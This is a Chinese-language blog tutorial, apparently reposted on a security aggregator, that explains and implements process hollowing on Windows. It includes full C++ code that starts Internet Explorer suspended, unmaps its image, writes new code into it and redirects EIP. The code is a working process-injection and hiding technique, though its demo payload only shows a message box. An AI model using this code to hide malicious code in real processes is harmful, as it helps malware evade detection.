<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    傀儡進程的分析與實現

    VSole2021-11-26 06:17:46

    前言對于進程隱藏技術有很多種實現方式,本文就對傀儡進程進行分析及實現。

    基礎知識掛起方式創建進程我們知道如果進程創建之后會在內存空間進行拉伸,那么我們如果需要寫入shellcode,只能在程序運行之前寫入,因為當程序運行起來之后是不能夠進行操作的。但是有一個例外,如果我們以掛起模式創建進程,寫入shellcode到內存空間,再恢復進程,也能夠達到同樣的效果。

    我們知道創建進程用到CreateProcess這個函數,首先看下結構

    BOOL CreateProcess(  
     LPCTSTR lpApplicationName, // 應用程序名稱  
     LPTSTR lpCommandLine, // 命令行字符串  
     LPSECURITY_ATTRIBUTES lpProcessAttributes, // 進程的安全屬性  
     LPSECURITY_ATTRIBUTES lpThreadAttributes, // 線程的安全屬性  
     BOOL bInheritHandles, // 是否繼承父進程的屬性  
     DWORD dwCreationFlags, // 創建標志  
     LPVOID lpEnvironment, // 指向新的環境塊的指針  
     LPCTSTR lpCurrentDirectory, // 指向當前目錄名的指針  
     LPSTARTUPINFO lpStartupInfo, // 傳遞給新進程的信息  
     LPPROCESS_INFORMATION lpProcessInformation // 新進程返回的信息  
    );  
    

    其中以掛起方式創建進程與兩個參數有關,分別是第三個參數和第四個參數

    lpProcessAttributes

    CreateProcess結構中的第三個成員,指向SECURITY_ATTRIBUTES結構的一個指針,用來設置進程句柄能否被繼承,若設置為NULL,則在句柄表中的值為0,進程句柄不能夠被子進程繼承

    typedef struct _SECURITY_ATTRIBUTES {
           DWORD  nLength;  //結構體的大小
           LPVOID lpSecurityDescriptor;  //安全描述符
           BOOL   bInheritHandle; //指定返回的句柄是否被繼承
    } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
    

    lpThreadAttributes

    CreateProcess結構中的第四個成員,指向SECURITY_ATTRIBUTES結構的一個指針,用來設置線程句柄能否被繼承,若設置為NULL,則在句柄表中的值為0,線程句柄不能夠被子進程繼承

    typedef struct _SECURITY_ATTRIBUTES {
           DWORD  nLength;  //結構體的大小
           LPVOID lpSecurityDescriptor;  //安全描述符
           BOOL   bInheritHandle; //指定返回的句柄是否被繼承
    } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
    

    那么這里驗證一下掛起進程之后就不能夠對進程進行操作

    父進程代碼,創建一個ie瀏覽器的進程并調用CreateProcess創建子進程

    // win32 create process3.cpp : Defines the entry point for the console application.
    //
     
    #include "stdafx.h"
    #include <windows.h>
     
    int main(int argc, char* argv[])
    {
        char szBuffer[256] = {0};                                
        char szHandle[8] = {0};                                
                                        
        SECURITY_ATTRIBUTES ie_sa_p;                                
        ie_sa_p.nLength = sizeof(ie_sa_p);                                
        ie_sa_p.lpSecurityDescriptor = NULL;                                
        ie_sa_p.bInheritHandle = TRUE;                                 
                                        
        SECURITY_ATTRIBUTES ie_sa_t;                                
        ie_sa_t.nLength = sizeof(ie_sa_t);                                
        ie_sa_t.lpSecurityDescriptor = NULL;                                
        ie_sa_t.bInheritHandle = TRUE;                                 
        
        //創建一個可以被繼承的內核對象,此處是個進程                                
        
        STARTUPINFO ie_si = {0};                                   
        PROCESS_INFORMATION ie_pi;                                
        ie_si.cb = sizeof(ie_si);                                
                                        
        TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");                                
        
        CreateProcess(                                
            NULL,                             
            szCmdline,                             
            &ie_sa_p,                             
            &ie_sa_t,                             
            TRUE,                             
            CREATE_NEW_CONSOLE,                             
            NULL,                             
            NULL, &ie_si, &ie_pi);                             
                                        
        //組織命令行參數                                
        sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);                                
        sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);                                
                                        
        //定義創建進程需要用的結構體                                
        STARTUPINFO si = {0};                                   
        PROCESS_INFORMATION pi;                                
        si.cb = sizeof(si);                                
                                        
        //創建子進程                                
        BOOL res = CreateProcess(                                
            NULL,                             
            szBuffer,                             
            NULL,                             
            NULL,                             
            TRUE,                             
            CREATE_NEW_CONSOLE,                             
            NULL,                             
            NULL, &si, &pi);                             
     
        return 0;
    }
    

    子進程代碼如下,這里獲取到子進程的句柄之后,使用SuspendThread掛起進程,等待5s后使用ResumeThread恢復進程

    // win32 create process4.cpp : Defines the entry point for the console application.
    //
     
    #include "stdafx.h"
    #include <windows.h>
     
    int main(int argc, char* argv[])
    {
        DWORD dwProcessHandle = -1;                        
        DWORD dwThreadHandle = -1;                        
        char szBuffer[256] = {0};                        
                                
                                
        memcpy(szBuffer,argv[1],8);                        
        sscanf(szBuffer,"%x",&dwProcessHandle);                        
                                
        memset(szBuffer,0,256);                        
        memcpy(szBuffer,argv[2],8);                        
        sscanf(szBuffer,"%x",&dwThreadHandle);                        
                                
        printf("獲取IE進程、主線程句柄\n");                        
        Sleep(5000);                        
        //掛起主線程                        
        printf("掛起主線程\n");                        
        ::SuspendThread((HANDLE)dwThreadHandle);                        
                                
        Sleep(5000);                        
                                
        //恢復主線程                        
        ::ResumeThread((HANDLE)dwThreadHandle);                        
        printf("恢復主線程\n");                        
                                
        Sleep(5000);                        
                                
        //關閉ID進程                        
        ::TerminateProcess((HANDLE)dwProcessHandle,1);                        
        ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);                        
                                
        printf("ID進程已經關閉.....\n");    
        
        char szBuffer[256] = {0};            
                
        GetCurrentDirectory(256,szBuffer);            
                    
        printf("%s\n",szBuffer);            
     
        getchar();
     
        return 0;
    }
     
    

    這里看下實驗效果,可以看到掛起主線程時候,ie瀏覽器是點不動的,恢復主線程之后又可以正常運行,那么我們嘗試使用掛起模式啟動一個進程

    以掛起模式啟動進程,只需要改一個地方,就是CreateProcess的第六個成員,設置為CREATE_SUSPENDED(非活動狀態)即可,掛起之后使用ResumeThread恢復執行

    // win32 create process3.cpp : Defines the entry point for the console application.
    //
     
    #include "stdafx.h"
    #include <windows.h>
     
    int main(int argc, char* argv[])
    {
        STARTUPINFO ie_si = {0};                   
        PROCESS_INFORMATION ie_pi;                
        ie_si.cb = sizeof(ie_si);                
                        
        TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";                
        CreateProcess(                
            NULL,                              
            szBuffer,                            
            NULL,             
            NULL,              
            FALSE,                               
            CREATE_SUSPENDED,                 
            NULL,                                
            NULL,                                
            &ie_si,                              
            &ie_pi                              
            );            
                        
        //恢復執行                
        ResumeThread(ie_pi.hThread);                
        
        return 0;
    }
    

    實現效果如下,這里使用掛起模式創建notepad,可以看到任務管理器里面已經有了這個進程,但是還沒有顯示出來,使用ResumeThread恢復執行之后就是一個正常的進程

    實現過程知道了以掛起模式啟動進程,我們整理下思路。首先我們以掛起形式創建進程,創建進程過后我們的目的是寫入shellcode,那么就要自己申請一塊可讀可寫的區域內存放我們的shellcode,然后再恢復主線程,將函數入口指向我們的shellcode即可,當然這只是一個demo,具體細節還需要具體優化。

    這里我使用了一個內核apiZwUnmapViewOfSection,用來清空之前內存里面的數據

    那么首先我們把創建進程這部分寫一個單獨的函數

    使用CREATE_SUSPENDED掛起創建進程的方式

    CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
    

    再寫一個if語句判斷進程創建是否成功,這里我創建的進程還是IE,完整代碼如下

    BOOL CreateIEProcess()    
    {
        wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
        STARTUPINFO si = { 0 };    
        si.cb = sizeof(si);
        BOOL bRet;
     
    x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
     
        if (bRet)
        {
            printf("Create IE successfully!\n\n");
        }
        else
        {
            printf("Create IE failed\n\n");
        }
        return bRet;
    }
    

    然后使用內核apiZwUnmapViewOfSection卸載創建這個基質內存空間的數據,這里先看下ZwUnmapViewOfSection的結構

    NTSTATUS   ZwUnmapViewOfSection(
        IN HANDLE  ProcessHandle,
        IN PVOID  BaseAddress    );
    

    這個函數在wdm.h里面聲明,那我們使用ntdll.dll將這個api加載進來

    ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
    

    然后使用GetModuleHandleA獲取模塊基址

    HMODULE hModuleBase = GetModuleHandleA(NULL);
    

    使用GetCurModuleSize獲取映像大小

    DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
    

    每個線程內核對象都維護著一個CONTEXT結構,里面保存了線程運行的狀態,線程也就是eip, 這樣可以使CPU可以記得上次運行該線程運行到哪里了,該從哪里開始運行,所以我們要先獲取線程上下文的狀態,使用到GetThreadContext

    Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread, &Thread);
    

    下一步我們需要知道程序的基址,這里我用到PEB結構和ReadProcessMemory來獲取,首先看下PEB的結構

    root> dt_peb
    nt!_PEB
    +0x000 InheritedAddressSpace : UChar
    +0x001 ReadImageFileExecOptions : UChar
    +0x002 BeingDebugged     : UChar
    +0x003 BitField          : UChar
    +0x003 ImageUsesLargePages : Pos 0, 1 Bit
    +0x003 SpareBits         : Pos 1, 7 Bits
    +0x004 Mutant            : Ptr32 Void
    +0x008 ImageBaseAddress : Ptr32 Void
    

    ImageBaseAddress在+0x008這個位置,所以這個地方ReadProcessMemory的參數就是PEB+8

    DWORD GetRemoteProcessImageBase(DWORD dwPEB)
    {
        DWORD dwBaseAddr;
        ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
        return dwBaseAddr;
    }
    

    使用ZwUnmapViewOfSection來卸載空間數據

    ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
    

    卸載完空間數據之后,用VirtualAllocEx重新為我們創建的進程申請一塊空間

    VirtualAllocEx(pi.hProcess,    hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    

    然后使用WriteProcessMemory寫入

    WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);
    

    在寫入完成之后使用GetThreadContext,設置獲取標志為 CONTEXT_FULL,即獲取新進程中所有的線程上下文

    ThreadCxt.ContextFlags = CONTEXT_FULL;
    

    然后修改eip指向我們自己的函數地址,這里寫一個MessageBox

    DWORD GetNewOEP()
    {
        return (DWORD)MessageBox;    
    }
     
    void MessageBox()
    {
        MessageBoxA(0, "Inject successfully", "", 0);    
    }
     
    Threadna.Eip = GetNewOEP();
    

    完整代碼如下

    #include <windows.h>
    #include <tchar.h>
    #include <iostream>
    using namespace std;
     
     
    typedef long NTSTATUS;
     
    typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
        IN HANDLE ProcessHandle,
        IN LPVOID BaseAddress
        );
    pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
     
    PROCESS_INFORMATION pi = { 0 };
        
     
    BOOL CreateEXE()
    {
        wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
        STARTUPINFO si = { 0 };
        si.cb = sizeof(si);
        BOOL bRet;
     
        bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
     
        if (bRet)
        {
            printf("[*] Create process successfully!\n\n");
        }
        else
        {
            printf("[!] Create process failed\n\n");
        }
     
        return bRet;
    }
     
     
    DWORD GetCurModuleSize(DWORD dwModuleBase)
    {
        PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
        PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
        return pNtHdr->OptionalHeader.SizeOfImage;
    }
     
     
    DWORD GetRemoteProcessImageBase(DWORD dwPEB)
    {
        DWORD dwBaseRet;
        ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
        return dwBaseRet;
    }
     
    void Mess()
    {
        MessageBoxA(0, "Inject successfully", "", 0);
    }
     
    DWORD GetNewOEP()
    {
        return (DWORD)Mess;
    }
     
     
    int _tmain(int argc, _TCHAR* argv[])
    {
     
        ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
        printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);
        
        if (!ZwUnmapViewOfSection)    
        {
            printf("[!] ZwUnmapViewOfSection failed\n\n");
            exit(1);
        }
     
        if (!CreateEXE())    
        {
            printf("[!] Create Process failed\n\n");
            exit(1);
        }
     
        printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
        HMODULE hModuleBase = GetModuleHandleA(NULL);
     
        DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);
     
        CONTEXT Thread;
     
        Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
     
        GetThreadContext(pi.hThread, &Thread);
     
     
        DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
     
        ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);
     
        LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     
        if (lpAllocAddr)
        {
            printf("[*] VirtualAllocEx successfully!\n\n");
            
        }
        else
        {
            printf("[!] VirtualAllocEx failed\n\n");
            return FALSE;
        }
     
        if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
        {
            printf("[!] WriteProcessMemory failed\n\n");
            return FALSE;
        }
        else
        {
            printf("[*] WriteProcessMemory successfully!\n\n");
        }
     
        Thread.ContextFlags = CONTEXT_FULL;
        Thread.Eip = GetNewOEP();
     
        SetThreadContext(pi.hThread, &Thread);
     
        if (-1 == ResumeThread(pi.hThread))
        {
            printf("[!] ResumeThread failed\n\n");
            return FALSE;
        }
        else
        {
            printf("[*] ResumeThread successfully!\n\n");
        }
     
    }
    

    實現效果到這我們的函數就已經成功了,運行一下彈出了messagebox,證明修改eip成功

    printfdword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    羊城杯 re wp
    2021-10-07 16:01:00
    題的質量還是可以,有些題因為遇到一些問題,沒解出來。花時間來寫wp一是鞏固一些知識點,還有讓更多的人可以互相學習。
    HEVD學習筆記——UAF
    2021-11-28 16:07:36
    這里選擇x86的驅動來進行黑盒測試學習內核漏洞,作為學習筆記記錄下來。
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    0x01 進程遍歷因為進程是在隨時進行變動的所以我們需要獲取一張快照1.1 CreateToolhelp32
    前言在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。可以看到使用了MessageBox這個API殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。自定義API函數FARPROC GetProcAddress;定義:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失敗返回NULL. 這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常運行:查看其導入表:User32.dll和MessageBox都不存在。實戰測試用創建進程的方式加載shellcode。
    最近粗淺的研究了一下Windows應用層相關調試API和對應調試原理,以達到實現反附加的功能。本文內容主要參考《軟件調試》和網絡上相關優秀文章,并且主要側重在應用層調試附加方面,關于內核層面因為水平有限本文沒有詳細展現。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    一篇靜態免殺的文章
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类